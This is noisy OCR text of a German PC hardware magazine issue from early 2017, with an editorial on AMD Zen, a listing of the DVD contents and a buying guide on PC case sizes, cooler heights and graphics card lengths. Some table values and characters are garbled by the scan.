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Editorial | SERVICE 


Von groBen Unbekannten, 
Wahnsinnigen und Neuerungen 


AMD, die große Unbekannte: 2017 wird in vielerlei Hinsicht ein spannendes Jahr. Und AMD dürf- : 
te eine gewichtige Rolle spielen. Die Vega-Generation wird zeigen müssen, ob AMD auch im : facebook 
High-End-Markt mit Nvidias Geforce-Grafikkarten konkurrieren kann. Polaris hatte zwar einen : 

guten Start, deckt aber nicht den ganzen Markt ab. Wichtiger scheinen aber AMDs Prozessor- : PCGH-Fan werden auf: 
pläne für das kommende Jahr. Seit März 2012, als man die erste Generation an Bulldozer-CPUs : 

veröffentlichte (rückblickend keine Erfolgsgeschichte für AMD), war es nicht mehr so span- 

nend, ob und wie AMD mit Zen Intel die Stirn bieten kann. Das Problem dabei ist: Stand Ende 


`. November sind Vorhersagen über die Leistungsfähigkeit von Zen blanke Spekulation. Daraus 
ableitend ist auch nicht klar, in welchen Preisregionen sich AMD mit Zen aufstellen will. Da ist 


Intel mit Kaby Lake deutlich berechenbarer, denn im Grunde sind weder beim Preis noch bei 


Thilo Bayer A 
нүн крл der Leistung Uberraschungen zu erwarten. Zum Glück spricht viel dafür, dass wir vielleicht 
PC Games Hardware schon im Januar darüber Gewissheit haben, ob AMD mit Zen das schafft, was beim Bulldozer 


nicht geklappt hat: Und zwar auch nur in die Nähe dessen zu kommen, was AMD mit dem Ath- 
lon 64 „Hammer“ einst geschafft hat. Bei einer Leserumfrage auf PCGH.de im Juli 2012 gewann AMD den Preis für die bis 
dato legendärste CPU - übrigens noch vor dem Core 2 Quad Q6x00 (Kentsfield) von Intel. 


Weihnachts-Wahnsinn: Vermutlich werden Sie sich ab Seite 98 fragen, ob bei uns schon der Weihnachts-Irrsinn ausgebro- 
chen ist. In gewisser Weise haben Sie damit recht, denn dieses Jahr haben sich unserem Gewinnspielaufruf besonders 
viele Firmen angeschlossen. So erreichen wir mit den ausgelobten Preisen immerhin die stolze Summe von 25.000 Euro. 
Reinschauen lohnt sich also, wenn Sie sich Ihren Weihnachtswunsch dieses Jahr wegen knapper Kasse nicht selbst er- 
füllen können. Ich wünsche jedem Teilnehmer viel Glück! 


Redaktionelle Neuerungen: Für das kommende Jahr, wenn die Ausgabennummer 200 lauert, haben wir uns einige Neu- 
erungen für Sie einfallen lassen. Die erste sehen Sie bereits diese Ausgabe mit dem Gehäuse-Kompendium. In den fol- 
genden Ausgaben finden Sie regelmäßig solche tiefer gehenden, umfassenden Kaufberatungen zu einem bestimmten 


Thema. Wie finden Sie die Idee? Schreiben Sie mir Ihre Meinung an tb@pcgh.de. 


Viel Spaß mit der Ausgabe Nummer 195 wünscht Ihr 


UH? Bayer 


Raff ordert 17 Grafikkarten bis 210 Euro ins Testlabor und überprüft, mit 
welcher Lautstärke sie arbeiten und wie viel Strom sie verbrauchen. 


Phil stürzt sich bei Battlefield 1 in 
Mehrspieler-Gefechte, um Ihnen 
zu demonstrieren, ab welcher 
CPU-Performance Sie mit einem 
uneingeschränkten und flüssigen 
Spielvergnügen rechnen können. 


Die Redaktion 


im November 2016 


+++ Der Spieleonkel erklärt Ihnen ausführlich, worauf Sie beim Kauf eines 
neuen Gehäuses unbedingt achten sollten +++ Manuel hat die Monitorhersteller 
e nach den Technik-Trends für das nächste Jahr befragt +++ Torsten zitiert Oculus 
= = Stephan mag es leise und baut Rift, HTC Vive und Playstation VR zum Spiele-Vergleichstest +++ Carsten ermit- 

= sich deshalb einen Spielerechner telt die Leistung des AMD A10-9700, der in HPs Pavilion-Desktop 510-p150ng ein- 


, уҹ an GER e t gebaut ist +++ Phil experimentiert für Sie mit Nvidias Screenshot-Tool Ansel +++ 
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Heftinh 
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Heft-DVD 


Videos, Spiele, Anwendungen - unsere Heft-DVD ist wie immer mit nützlichen, informativen und 
auch spaßigen Inhalten gefüllt. Wir stellen Ihnen das Beste des Silberlings vor. 


Die DVD im Überblick 


Vollversion i Radeon Pro, Sapphire Trixx 6.2.0 
® DSA: Satinavs Ketten i p AS-SSD Benchmark 1.9.5986, Fraps 
i — 3.5.99, Prime 95 28.9, Super Pi 1.9 
PCGH-Top-Videos : p AMD Overdrive 4.3.2, Core Temp 
® Kaufberatung Gehäuse $ 1.4.1, CPU-Z 1.77, HD Tune 2.55 
® Nvidia Ansel in Aktion : — &HD Tune Pro 5.60 Trial, Speedfan 
Jp PCGH-Retro 09/2008 ; — 4.52, Sysinternals Suite 11/2016 
3» Meinung des Monats 01/2017: : 
Zu Weihnachten ... : е 
: Treiber 


i Ж Nvidia Geforce 375.95 WHQL 


Tools i | 
® GPU-Z 1.12.0, MSI Afterburner 4.3.0 i (Windows 10 64 Bit) 


Final, Nvidia Inspector 1.9.7.8, PCGH ЖУ AMD Radeon Software Crimson 
VGA-Tool 1.0.1, PCGH SSAA-Tool, 16.11.4 (Windows 64 Bit) 


Feedback im PCGH-Forum 


Im Online-Forum von PC Games Hardware kön- 
nen Sie uns bequem Rückmeldung geben, welche 
Inhalte von Heft und DVD Ihnen gefallen haben. 
Dazu starten wir jeden Monat Umfragen und ein 
Feedback-Sammelthema. Durch Ihre Teilnahme 
helfen Sie uns, die Themenauswahl von PCGH 
besser auf die Wünsche der Leser abzustimmen 
— die einzige Voraussetzung ist ein kostenloser 


Die DVD läuft nicht? Kein Problem! Schicken Sie eine E-Mail mit Ihrer г . А А 
genauen Anschrift (Мате, Straße, PLZ, Wohnort) und дег Ausgabennummer Foren-Account, der mit wenigen Mausklicks ein- - 
(z. В. Ausgabe 01/2017) unter dem Betreff „PC Games Hardware: DVD- gerichtet ist. www.pcgh.de/feedback lm 


Reklamation” an computec@dpv.de. 


PCGH-Top-Videos ` 


Нёгйшаге c N RaffaelVötter 
= 3 dÄ sitender Redakteur PCGH 
7 чтүн" 


Nvidia Ansel: Philipp Reuther demonstriert die guten und schlechten Rückblick: In unserer beliebten Retro-Reihe nehmen wir unsere Тһе- Weihnachten: Das Fest der Liebe und des Konsums steht vor der Tür. 
Seiten von Nvidias Super-Screenshot-Software. men und deren Aufbereitung der PCGH-Ausgabe 09/2008 aufs Kom. Was sich die PCGH-Mannen unter den Baum legen, erfahren Sie hier. 
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DSA: Satinavs Ketten 


Im Point-and-Click-Adventure Satinavs Ketten 
steht die DSA-Welt Aventurien am Abgrund und 
muss natürlich gerettet werden. Dies gestaltet 
sich jedoch schwierig, wenn man wie Spielfigur 
Geron bei seinen Mitmenschen als Unglücksra- 
be verschrien ist. Als der noch ein kleines Kind 
war, wurde in seinem Heimatstädtchen Ander- 
gast ein wahnsinniger Seher auf dem Scheiter- 
haufen verbrannt. Während der Vollstreckung 
dieser martialischen Strafe prophezeite der 
Seher, publikumswirksam auf Geron zeigend, 
dass dieser einmal großes Unglück über Ander- 


Im Verlauf der Geschichte kommt Geron weit 
herum und erkundet eine Vielzahl zumeist 
sehr stimmungsvoll gestalteter Orte. 


www.pcgameshardware.de 


gast und seine Bewohner bringen würde. Als 
eine mysteriöse Krähenplage auftritt, die sogar 
Menschenopfer fordert, erhält Geron vom König 
den Auftrag, die Viecher loszuwerden. Doch der 
Plan schlägt fehl. Gemeinsam mit der Fee Nuri 
begibt sich Geron auf die Suche nach einem 
Ausweg. Die Reise führt durch abwechslungs- 
reiche Locations wie das Blutzinnen-Gebirge 
mit einem Orklager, die Hafenstadt Enqui oder 
auch eine abgedrehte Feenwelt. Gemeinsam mit 
der kindlich-naiven Nuri spricht Geron nicht nur 
mit vielen skurrilen Figuren wie einem hutver- 
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LI 


liebten Kobold, sondern sammelt und kombi- 
niert genretypisch auch Gegenstánde. 


Installation: 
Unsere Vollversion ist komplett DRM-frei; 


Systemvoraussetzungen: 

Minimal: CPU mit 2,5 GHz (Dualcore: 2 GHz), 
2 GiB RAM, Grafikkarte mit 512 MiB, -5,5 GiB 
HDD-Platz, Windows XP. Empfohlen: 2,5 GHz 
Dualcore-CPU, 4 GiB RAM, Grafikkarte mit 1 
GiB, -5,5 GiB HDD-Platz, Win 7 (und neuer). 


Nach dem Einführungs-Puzzle erhält Vo- 
gelfánger Geron, der Spielcharakter, den 
königlichen Auftrag, die Kráhenplage im 
Schloss zu beenden. 
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Kaufberatung Gehäuse | SPECIAL 


Eine Frage der Größe: Innenraum und Platinenformat 


ie Optik und die Größe res- 
Di das Aussehen sowie 
das Format spielen bei der Wahl ei- 
nes neuen Gehäuses die wohl wich- 
tigste Rolle. Während der Look, bei- 
spielsweise der Trend zu gläsernen 
Seitenteilen und einer auffälligen 
Beleuchtung, eindeutig ein sub- 
jektives Kaufkriterium ist, wird die 
Entscheidung für ein bestimmtes 
Format dadurch stark beeinflusst, 
welche Hauptplatine und welche 
weiteren Komponenten eingebaut 
werden und wie viel Raum für 
den Rechenknecht überhaupt zur 
Verfügung steht - egal ob er eher 
unauffällig unter dem Schreibtisch 
platziert ist oder prominent an ei- 
ner anderen Stelle präsentiert wer- 
den soll. 


Groß, etwas kleiner oder 
doch lieber ein Mini? 

Wenn Sie Ihrer Hardware eine 
Behausung im Großformat spen- 
dieren (Midi/Big Tower oder Hyb- 
rid), dann haben Sie zuerst einmal 
viel Platz. Egal ob Sie als Wakü- 
Fan mehrere Wärmetauscher im 
3x120-/3x140-Format oder als Spie- 
ler ein Zwei- oder gar Drei-Wege- 
SLI/Crossfire-System unterbringen 
wollen. Je nachdem, wie viele groß 
dimensionierte PC-Komponenten 
oder Wärmetauscher Sie einbauen 
wollen, kann bereits ein geräumi- 
ges, vom Hersteller als Midi Tower 
klassifiziertes Modell wie Be quiets 


Dark Base 900 Pro (siehe S. 16) 
reichen. Gerade bei der neuesten 
Gehäusegeneration 
men die Grenzen nicht nur bei der 
Ausstattung und der Zahl der Mon- 
tageplätze für die Laufwerke, son- 
dern auch bei der für die Kühlung 


verschwim- 


entscheidende Lüfterbestückung 
(vorhandene Lüfter/Lüfterplätze) 
immer mehr. Selbst große Wakü-Ra- 
diatoren lassen sich dank des groß- 
zügigen Platzangebots bequem in 
die großräumigen Midi-Modelle 
einbauen. Dazu kommt, dass Lauf- 
werkskäfige auch hier nicht mehr 
um- oder ausgebaut werden müs- 
sen, um Platz für sperrige Kompo- 
nenten zu schaffen. 


Temperaturentwicklung in 
Relation zur Größe 

Ein weiterer wichtiger Aspekt 
beim Gehäusekauf ist die Tempe- 
raturentwicklung. In großforma- 
tigen Gehäusen werden zentrale 
Komponenten wie Prozessor, Gra- 
fikkarte oder Spannungswandler 
in der Regel besser gekühlt als bei- 
spielsweise in einem mit Hardware 
vollgestopften Micro-ATX- oder 
Mini-ITX-Gehäuse. Bei Midi oder 
Big Towern dagegen spielt der 
Formfaktor für die Synthese aus 
einer guten Komponentenkühlung 
und einer geringen Lüfterlautheit 
mittlerweile eine untergeordnete 
Rolle. Das stellten wir in der letz- 
ten Marktübersicht in der PCGH 


09/2016 fest, bei der wir das Midi- 
und Big-Tower-Format 
gemischt haben. Im Wesentlichen 
besteht der Unterschied zwischen 


erstmals 


einem Big und einem Midi Tower 
im vorhandenen Platz für Kompo- 
nenten sowie dem Komfort beim 
Einbau der Hardware. Unterschie- 
de bei der Wärmeentwicklung im 
Inneren ergeben sich meist auf- 
grund der verschiedenen Lüfterbe- 
stückungen sowie -anordnung, des 
Einsatzes einer Wasserkühlung, ei- 
nes offenen Deckels (Kamineffekt) 
oder Features wie einer Dämmung. 


Großer Innenraum, viel 
Platz für die Hardware 

Bei den Kaufkriterien Platzange- 
bot für die Hardware sowie be- 
quemer Hardware-Einbau hat ein 
ausschließlich mit einer Місго- 
ATX- oder Mini-ITX-Hauptplatine 
bestückbares Mini-Gehäuse natür- 
lich das Nachsehen gegenüber den 
großen Vertretern. Oft müssen die 
Laufwerke umständlich direkt an 
den Gehäusewänden, auf der Rück- 
seite des Mainboard-Trays oder an 
speziellen Haltekonstruktionen 
angeschraubt werden. Schrauben- 
lose Laufwerkshalterungen oder 
Laufwerkskäfige sind dagegen nur 
selten vorhanden. 


Dazu kommt, dass auch zu wenig 
Platz für den komfortablen Einbau 
der Platine und des Netzteils bereit- 


Die vier Gehäuseformate im Größenvergleich 


Der größte Unterschied zwischen den als Standardformat festgelegten Gehäusegrößen wird beim Innenraumvolumen (Angabe in Liter) deutlich. Während das Fractal Design Arc XL 
ganz links ein Volumen von 73 Liter (572 x 232 x 552 mm) bietet, kommt der kleinste Vertreter, das Fractal Design Define S Nano, gerade auf 28 Liter (344 x 203 x 412 mm). 
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Big Tower 


Midi Tower 


steht. Gerade für den Stromgeber 
findet man in den Handbüchern 
Micro-ATX-/Mini-ITX- 
Gehäuse immer öfter Längenbe- 


aktueller 


schränkungen (die reguläre Länge 
eines Netzteils beträgt ca. 170 mm 
bis 180 mm). Die Zahl der Kom- 
ponenten, die in einen solchen 
Gehäusezwerg eingebaut werden 
können, ist natürlich auch deut- 
lich eingeschränkt. Zumal es bei 
den besonders kleinen Modellen 
zusätzlich auch noch Beschrän- 
kungen bei der Grafikkartenlänge 
sowie der Höhe des CPU-(Turm-) 
Kühlers gibt (siehe Abschnitt: Gra- 
fikkartenlänge und Kühlerhöhe: 
Wichtige Faktoren). 


Gerade PC-Spieler, die sich einen 
potenten Rechner als Konsolen- 
ersatz zusammenbasteln, benöti- 
gen jedoch oft nur Platz für zwei 
Festplatten/SSDs, ein optionales 
optisches Laufwerk sowie eine Gra- 
fikkarte. Für diese Konfiguration 
reichen eine Micro-ATX/Mini-ITX- 
Platine sowie ein entsprechend 
kleines Gehäuse. Solche kleinen 
Mainboards und Gehäuse sind - 
Designerstücke wie das Jonsbo 
VRI (siehe S. 17) oder das In Win 
901 (Test in PCGH 12/2016, S. 72 
ff) ausgenommen - ein paar Euro 
günstiger als größere Modelle. 
Dazu kommt, dass es - eine durch- 
dachte Lüfterbestückung sowie ein 
effizientes Kammersystem wie bei 


Mini ITX 
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unserer — Micro-ATX-Empfehlung, 
dem Antec ISK 600M, vorausgesetzt 
- keine Probleme mit der Kompo- 
nentenkühlung gibt. Das Vorurteil, 
die Kühlleistung sei bei kleinen 
Gehäusen grundsätzlich schlechter 


als im Midi oder Big Tower, hat sich 


in unseren Tests mit wenigen Aus- 
nahmen nicht bestätigt. 


Platinenformat als Richt- 
größe beim Gehäusekauf 
Eines der zentralen Bauteile eines 
jeden Rechners ist die Hauptplatine, 


die auch als Steuereinheit für die ge- 
nutzte Hardware fungiert. So wird 
die Mainboard-Größe neben den 
Kühlmöglichkeiten, dem Einbau- 
komfort sowie der restlichen Hard- 
ware, die im neuen Tower unterge- 
bracht werden soll, zu einem der 


Die verschiedenen Mainboard-Formate im Vergleich 


XL-ATX-Mainboard-Besitzer kommen um einen Big Tower oder Hybriden nicht herum. Alle anderen Platinengrößen passen bequem 
in ein Midi-Modell. Ist allerdings ein Mini-Gehäuse gefragt, sollten sich dort Mini-ITX- und Micro-ATX-Platinen einbauen lassen. 


Ee 


` Mini-ITX 


Бур RE 5 ч Die < tx; 


wichtigsten Faktoren bei der Wahl 
der richtigen ` Hardware-Behau- 
sung. Nur wenn die Platine ohne 
Einschränkungen auf die meistens 
schon vormontierten Schrauben- 
halterungen passt, hat man die 
richtige Wahl getroffen. Dabei ist 
es hilfreich, dass viele Hersteller 
auf der Vorderseite der Mainboard- 
halterung die Schraubenlöcher mit 
den verschiedenen Hauptplatinen- 
formaten kennzeichnen. 


Ein Gehäuse, alle Formate 
Während bei Micro-ATX-Gehäusen 
die Wahl der passenden Platine 
auf die beiden kleinsten Formate 
beschränkt ist, hat man als Käufer 
eines Midi oder Big Towers fast 
immer die Möglichkeit, hier Main- 
boards aller Größen einzubauen. 
Trotzdem gibt es Ausnahmen und 
Exoten, bei denen es zumindest 
in einem als Midi Tower klassifi- 
zierten Gehäuse noch eng werden 
kann. Eine XL-ATX-Platine wie 
das Gigabyte X79-UD7 (siehe Bild 
links) ist einer dieser Spezialfälle. 
Einerseits fällt die Platine breiter 
aus als das Standard-ATX-Modell, 
andererseits ist das Board so hoch, 
dass es mit dem in der Regel am Bo- 
den des Gehäuses positionierten 
Netzteil kollidiert. Wer also eine 
Luxusplatine XL-ATX-Größe 
besitzt, sollte zum Big Tower grei- 
fen. Ein weiterer, eher seltener Son- 
derfall sind E-ATX-Boards. Die sind 
oft sehr breit sowie mit zwei CPU- 
Sockeln bestückt und bedecken, in 
einem Midi Tower eingebaut, die 
Kabeldurchlässe, stoßen an nicht 
demontierbare ^ Laufwerkskifige 
oder gar an die Frontlüfter. 


mit 


Innenraumdesigns miteinander verglichen 


eht es um die Kühlung von 

Komponenten sowie viel Platz 
und Komfort beim Hardware-Ein- 
bau, spielt das Innenraum-Design 
eines Gehäues eine wichtige Rolle. 
Bei der klassischen Aufteilung (sie- 
he Be quiet Silent Base 800) wird 
die Platine mit dem I/O-Anschlüs- 
sen nach oben und den Steckplät- 
zen nach unten in den Midi Tower 
eingebaut. Das Netzteil platziert 
man links unten am Gehäuseboden, 
die Laufwerkskäfige, die im Idealfall 
teilweise oder komplett ausgebaut 
werden können, befinden sich im 


10 
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Frontbereich vor den Lüftern. Letzt- 
gennate kühlen mit ihrer seitlich/ 
frontal eingesaugten Frischluft zu- 
sätzlich den Massenspeicher. Dazu 
kommt ein Hecklüfter, der die vom 
CPU-Kühler aufgewärmte Luft aus 
dem Gehäuse befördert. 


Eine Kammer fürs Netzteil 

Beim ersten alternativen Innen- 
raum-Layout bekommt das Netzteil 
Abdeckung/Kammer ѕреп- 
diert, damit die vom Stromgeber 
abgestrahlte Hitze die Luft im rest- 
lichen Gehäuse nicht aufwärmt. 


eine 


Wie auf der nächsten Seite zu sehen 
ist, verfügen das Phanteks Enthoo 
Luxe und das Anidees Crystal über 
so eine Innenraumgestaltung. Wäh- 
rend Phanteks die Laufwerkskäfige 
im Innenraum behält und nur den 
Zugriff darauf auf die Rückseite 
legt, befinden sich die Laufwerks- 
halterungen beim Anidees Crystal 
auf der Rückseite der Mainboard- 
Halterung. Dieses Layout schafft 
Platz für die drei 140-mm-Lüfter, 
die in die mit Glas verzierte Front 
eingebaut sind. Beim für den Wa- 
kü-Einsatz und somit die Montage 


mehrerer großer Radiatoren konzi- 
pierten Fractal Design Define S sind 
ebenfalls keine Laufwerksbefesti- 
gungen im Inneren zu finden. Auch 
hier werden alle Datenspeicher 
an Halterungen auf der Rückseite 
des Mainboard-Trays befestigt. So 
entsteht Raum für hohe Wärmetau- 
scher, aber auch Platz für die Befes- 
tigung weiterer Wakü-Elemente wie 
Ausgleichsbehälter oder Pumpen. 


Effiziente Kammersysteme 
Besteht der Innenraum aus einem 
Zwei- oder Drei-Kammer-System, 
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hat das primàr thermische Gründe. 
Ein aufgeräumter Innenraum wirkt 
sich allerdings auch positiv auf den 
Einbau von Komponenten und die 
Verlegung von Kabeln aus. Beim 
Thermaltake Core X9 zum Beispiel 
soll die durch das Netzteil sowie die 
Laufwerke aufgewärmte Luft nicht 
nach oben steigen (Kamineffekt), 


sondern durch die Bereiche mit 


Wabengitterstruktur entweichen. 
Im Gegenzug ist der horizontale 
Einbau des Mainboards gewollt, da- 
mit die nach oben abziehende, ver- 
brauchte Luft durch den Deckel und 
das Seitenteil entweichen kann und 
vom Hecklüfter aus dem Big Tower 
geblasen wird. Auch Fractal Designs 
Node 202, ein sehr kompaktes Ge- 
häuse im Konsolen-Stil, verfügt über 


ein Drei-Kammer-System. Auch hier 
versucht man, die durch das Netz- 
teil, die GPU und den CPU-Lüfter 
best- 


geschaffenen „Klimazonen“ 


möglich abzugrenzen. 


Das Konzept, die Platine wie beim 
Corsair Carbide 600C um 180 
Grad zu drehen respektive wie im 


Dark Base 900 Pro verkehrt herum 
einzubauen, nutzt ebenfalls 
Kamineffekt. Selbst wenn keine 
Netzteilkammer vorhanden ist, ent- 


den 


weicht die durch den Stromspender 
aufgewärmte Luft direkt durch den 
Deckel. Im Gegenzug wird die hei- 
ße Luft in der Hauptkammer durch 
die Frontlüfter sowie den am Boden 
platzierten Hecklüfter gut gekühlt. 


Abseits des Standards: Alternative Innenraumdesigns vorgestellt 


Es gibt einige Innenraum-Layouts, die nicht dem Standard (siehe erstes Bild) entsprechen. Zu deren Ausstattungsmerkmalen gehören Kammern für das Netzteil und die HDDs/SSDs, 
Zwei- oder Drei-Kammer-Systeme, Platinen, die um 180 Grad gedreht werden, und Lüfter, die wie beim In Win 303 hochkant an der oben liegenden Netzteilkammer befestigt werden. 


Be quiet Silent Base 800 (Standard-Innenraumdesign) Phanteks Enthoo Luxe (Netzteilkammer/LW-Halterung) liM Thermaltake Core X9 (Drei-Kammer-Syst./Board horizontal) 


www.pcgameshardware.de 


ta шы malam u a са а аша d = 


ZZ 
22 
Z 
Z 

22 
2 
7 
Z 


DIDI 


N 


III II 


ONNNWNWV ANN 


Z 
1 
v7 
Z 


AAAAAAAAAA 
ӘМ 
Уууу 
SEENEN 
NN 
“ММММ 


01/17 | РС Games Hardware 11 


SPECIAL | Kaufberatung Gehäuse 


Grafikkartenlänge und Kühlerhöhe: Wichtige Faktoren 


ei der Wahl eines neuen Hard- 

ware-Heims muss sich der PC- 
Spieler nicht nur Gedanken über 
die Gehäuse- und Platinengröße 
machen. Ein wichtiger Faktor ist 
auch das Ausmaß zentraler Kom- 
ponenten wie der Grafikkarte oder 
des CPU-Kühlers. Gerade in Rech- 
nern, die vorwiegend zum Spielen 
genutzt werden, ist leistungsstarke 
Hardware zu finden, die oft noch 
übertaktet wird. Hier kommt man 
nicht um einen massiven Turmküh- 
ler für den Prozesser und eine GPU 
mit langem PCB und aufwendigen 
Kühlkonstruktionen mit Heatpipes 
sowie mehreren Lüftern herum. 
Wer sich für einen Big Tower ent- 
scheidet, wird sicher keine Proble- 
me mit dem Einbau von sehr hohen 
Turmkühlern und langen Grafik- 
karten haben. Wir zeigen, worauf 
Sie achten müssen, wenn Sie Ihre 
Hardware in einem Midi-/Micro- 
ATX-/Mini-ITX-Gehäuse unterbrin- 
gen wollen. 


Welcher Kühler passt in 
welches Gehäuse? 

Um Ihnen einen Überblick über die 
verschiedenen Kühlerhöhen sowie 
deren Kompatibilität mit den di- 
versen Gehäuseformaten zu geben, 
haben wir zehn Modelle herausge- 
sucht, die wir bereits in Marktüber- 
sichten getestet haben. Beim Anfer- 
tigen der Tabelle unten stellten wir 
jedoch fest, dass gearde bei Micro- 
ATX- und Mini-ITX-Gehäusen eine 
Vereinheitlichung nur schwer mög- 
lich ist. Wie man unschwer erkennt, 
passen alle von uns ausgewählten 
Turmkühler in einen Big Tower 
und mit wenigen Ausnahmen wie 
das Corsair Carbide Spec 01 auch in 
die Midi-Variante. 


Bei kleineren Gehäusen sieht das 
anders aus. Der größte Teil der von 
uns getesteten Micro-ATX-Modelle 
nimmt Turmkühler mit einer Höhe 
bis 150 mm auf, bei folgenden Son- 
derfällen darf der Turmkühler sogar 


noch deutlich höher sein: Fractal 
Design Node 804 bis 160 mm, Ani- 
des AI7M bis 168 mm, Raidmax Hy- 
perion bis 165 mm, Bitfenix Aegis 
Core bis 170 mm, Antec ISK 600M 
bis 174 mm und Cooltek C3 bis 175 
mm. Im Gegenzug gibt es Micro- 
ATX-Gehäuse wie das Bitfenix Pan- 
dora, bei dem die Maximalhóhe für 
den CPU-Kühler bei 134 mm liegt. 


Turmkühler im Mini-ITX-Mo- 
dell - geht nicht? Geht doch! 
Obwohl Mini-ITX-Gehäuse 
sehr wenig Platz im Innenraum 
verfügen, ist es erstaunlich, dass 
es eine Reihe von Modellen gibt, 
die hóhere Kühler aufnehmen als 
den Boxed-Kühler oder eine Top- 
Blower-Variante wie den Be quiet 
Shadow Rock LP oder den Cryorig 
C1. Allein bei der Mini-ITX-Gehäuse- 
Marktübersicht der letzten Ausgabe 
12/2016 finden Sie mit dem Jonsbo 
VRI (190 mm), Kolink Satellite (165 
mm) und Raijintek Metis (160 mm) 


über 


drei Modelle, in denen die Hóhe des 
Prozessorkühlers die 140-mm-Gren- 
ze deutlich überschreiten darf. Zwei 
weitere Sonderfälle sind das Cool- 
tek U2 mit 175 mm und das Phan- 
teks Enthoo Evolv ITX mit 190 mm. 


Kleines Gehäuse, kleine GPU? 
Wie in der Tabelle rechts zu sehen 
ist, gibt es auch keine GPU-Stan- 
dardlängen für die einzelnen Ge- 
häuseklassen. In einen Big Tower 
passen alle Modelle, unter anderem 
auch über 310 mm lange Boliden. 
Im Midi Tower muss für diese 3D- 
Beschleuniger eventuell ein Lauf- 
werkskäfig entfernt werden. Der 
Großteil der von uns getesteten Mi- 
cro-ATX-Gehäuse hat Platz für Grafi- 
karten mit 240 mm Länge. Obwohl 
die GPU-Hersteller 
speziell für die Gehäusezwerge 
konzipierte Mini-Modelle anbieten, 
haben wir sechs Mini-ITX-Gehäuse 
gefunden, in die auch eine über 300 
mm lange Grafikkarte passt. 


mittlerweile 


Kompatibilität: 
Höhe des 
CPU-Kühlers und 


Gehäuseformat 
Noctua NH-D15, Thermalright Macho B, Thermalright Macho, EKL Alpenföhn Olymp, EKL Alpenföhn Brocken, 
Höhe: 175 mm Höhe: 171 mm Höhe: 162 mm Höhe: 161 mm Höhe: 151 mm 
Big Tower/Big-Midi-Hybrid v v v v v 
Midi v v v v v 
Micro-ATX-Geháuse x x = = v 
Mini-ITX-Geháuse x x - - - 
v Kühler passt % Kühler passt nicht == Kühler passt nur in augewáhlten Micro-ATX-/Mini-ITX-Gehäusen (siehe Fließtext 


Kompatibilität: 
Höhe des 
CPU-Kühlers und 


Gehäuseformat k -— 
Scythe Fuma, EKL Alpenfóhn Atlas, Noctua NH9DL, Be quiet Shadow Rock LP, Cryorig C1, 
Höhe: 149 mm Höhe: 124 mm Höhe: 113 mm Höhe: 81 mm Höhe: 71 mm 
Big Tower/Big-Midi-Hybrid v v v v v 
Midi v v v v v 
Micro-ATX-Geháuse v v v v v 
Mini-ITX-Geháuse = v v v v 
v/ Kühler passt % Kühler passt nicht == Kühler passt nur in ausgewählten Micro-ATX-/Mini-ITX-Gehäusen (siehe Fließtex 
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Grafikkartenlängen (Auswahl) 


Für einen Boliden wie die KFA? GTX 1080 HOF benötigen Sie einen Big/Midi Tower. Die 
deutlich kürzere Gigabyte GTX 1070 ITX Mini OC ist für Mini-ITX-Gehäuse konzipiert. 


AM 


= 


>N 


i 


Modell Länge | Gehäusekompatibilität 
KFA? GTX 1080 Hall of Fame 31,5cm | Big/Midi Tower, Micro ATX*/Mini ITX** 
Zotac GTX 1070/1080 AMP! Extreme | 31,2 cm Big/Midi Tower, Micro ATX*/Mini ITX** 
Zotac GTX 980 Ti AMP! Extreme 31,0 ст | Big/Midi Tower, Micro ATX*/Mini ITX** 
Asus GTX 980 Ti Strix DC30C 30,5 cm | Big/Midi Tower, Micro ATX*/Mini ITX** 
MSI GTX 980 Ti Lightning 30,0 cm | Big/Midi Tower, Micro ATX*/Mini ITX** 
Powercolor RX 480 Red Devil 30,0 cm | Big/Midi Tower, Micro ATX*/Mini ITX** 
Asus GTX 1060 Strix OC 30,0 cm | Big/Midi Tower, Micro ATX*/Mini ITX** 
Asus RX 480 Strix OC 30,0 cm | Big/Midi Tower, Micro ATX*/Mini ITX** 
Asus GTX 1070/1080 Strix OC 29,9 cm | Big/Midi Tower, Micro ATX*/Mini ITX** 
XFX RX 480 GTR (Black Edition) 28,4 cm | Big/Midi Tower, Micro ATX*/Mini ITX** 
MSI GTX 980 Gaming 4G 27,8 ст | Big/Midi Tower, Micro ATX*/Mini ITX** 
MSI GTX 1070/1080 Gaming X 8G 27,7 cm | Big/Midi Tower, Micro ATX*/Mini ITX** 
MSI GTX 1060 Gaming X 6G 27,7 cm | Big/Midi Tower, Micro ATX*/Mini ITX** 
MSI RX 480 Gaming X 8G 27,5cm | Big/Midi Tower, Micro ATX*/Mini ITX* * 
EVGA GTX 1070 SC Gaming 26,7 cm | Big/Midi Tower, Micro ATX*/Mini ITX** 
Nvidia GTX 1060 Founders Edition 250 cm | Big/Midi Tower, Micro ATX*/Mini ITX** 
Palit GTX 960 (Super) Jetstream 24,5 cm | Big/Midi Tower, Micro ATX*/Mini ITX** 
Asus RX 470 Strix OC 24,2 cm | Big/Midi Tower, Micro ATX/Mini ITX** 
EVGA GTX 970 FTW 24,2 cm | Big/Midi Tower, Micro ATX/Mini ITX** 
Sapphire RX 480 Nitro+ (OC) 24,0 ст | Big/Midi Tower, Micro ATX/Mini ITX** 
Zotac GTX 1060 AMP! 21,1 cm | Big/Midi Tower, Micro ATX/Mini ITX** = | = Sp . ` 
mme азаи s TI r meme | — onim de oak aide pee At u enner meet айт 
AMD Radeon R9 Fury X 9,5 cm | Big/Midi Tower, Micro ATX/Mini ITX** 
Asus RX 460 Strix O4G 9,4cm | Big/Midi Tower, Micro ATX/Mini ITX 
EVGA GTX 1060 (SC) Gaming 8,2 cm | Big/Midi Tower, Micro ATX/Mini ITX 
Gigabyte GTX 1070 ITX Mini OC 7,2 ст | Big/Midi Tower, Micro ATX/Mini ITX 
Asus GTX 970 Mini OC 7,0 cm | Big/Midi Tower, Micro ATX/Mini ITX 
SI GTX 950 2605 OC 7,0 cm | Big/Midi Tower, Micro ATX/Mini ITX 
AMD Radeon R9 Nano 5,3 cm | Big/Midi Tower, Micro ATX/Mini ITX 
EVGA GTX 1050 Superclocked 5,2 cm | Big/Midi Tower, Micro ATX/Mini ITX 
Bemerkungen: PCGH-Messung, absteigend nach Länge sortiert 
* Nur ausgewählte Micro-ATX-Geháuse: Fractal Design Node 804 (PCGH 08/2014), Antec 
SK 600M (PCGH 06/2015), Raidmax Hyperion (PCGH 06/2015), Bitfenix Aegis Core/Pandora 
PCGH 06/2016) 
** Nur ausgewählte Mini-ITX-Gehäuse: Zalman M1 (PCGH 08/2014), Phanteks Enthoo Evolv 
